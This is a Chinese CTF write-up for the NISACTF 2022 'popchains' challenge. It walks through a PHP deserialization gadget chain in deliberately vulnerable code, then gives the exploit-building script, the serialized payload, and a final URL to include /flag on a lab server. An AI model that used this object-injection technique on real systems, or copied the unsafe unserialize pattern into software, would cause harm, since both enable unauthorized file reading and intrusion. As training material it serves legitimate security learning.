[NISACTF 2022]popchains
[NISACTF 2022]popchains
进来直接看到源码
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}//将传入的wish反序列化
else{
$a=new Road_is_Long;
highlight_file(__FILE__);//new一个新的类Road_is_Long
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
//当对象被创建时page属性等于传入的file(index.php)
}
public function __toString(){
return $this->string->page;
//对象被当做字符串执行时返还string属性里的page
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
//对象被反序列化时如果page属性匹配到了"file|ftp|http|https|gopher|dict|.."输出字符串,并使page属性等于index.php
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value); //1 Try_Work_Hard
//这里的include是我们最终要的东西,要使value=flag.php
}
public function __invoke(){
$this->append($this->var); //2 Try_Work_Hard
//当尝试将对象当成函数执行时,将调用append函数并将属性var传入
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
//对象被创建时属性effort等于一个数组
}
public function __get($key){
$function = $this->effort;
return $function();
//当获取私有属性时,返回属性的effort值
}
}
/**********************Try to See flag.php*****************************/
这里我用标注的方法:
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;//4 Make_a_Change
//要触发__toSrting下面有个,没有找到echo的地方,下面有一个正则匹配可以把对象当做字符串
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
//5 Road_is_Long
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);//1
}
public function __invoke(){
$this->append($this->var);//2 Try_Work_Hard
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();//3 Try_Work_Hard
}
}
/**********************Try to See flag.php*****************************/
注意:第四个地方,我找了半天没有找到echo类似的函数,而这里的正则表达式,可以把对象当做字符串执行
接下来直接构造:
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='/flag';
//注意这里的var=/flag而不是var=/flag.php
}
class Make_a_Change{
public $effort;
}
$a5=new Road_is_Long();
$a4=new Road_is_Long();
$a3=new Make_a_Change();
$a2=new Try_Work_Hard();
$a5->page=$a4;
$a4->string=$a3;
$a3->effort=$a2;
$b=serialize($a5);
echo urlencode($b);
序列号结果:
O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
最终payload:
http://node5.anna.nssctf.cn:28498/?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D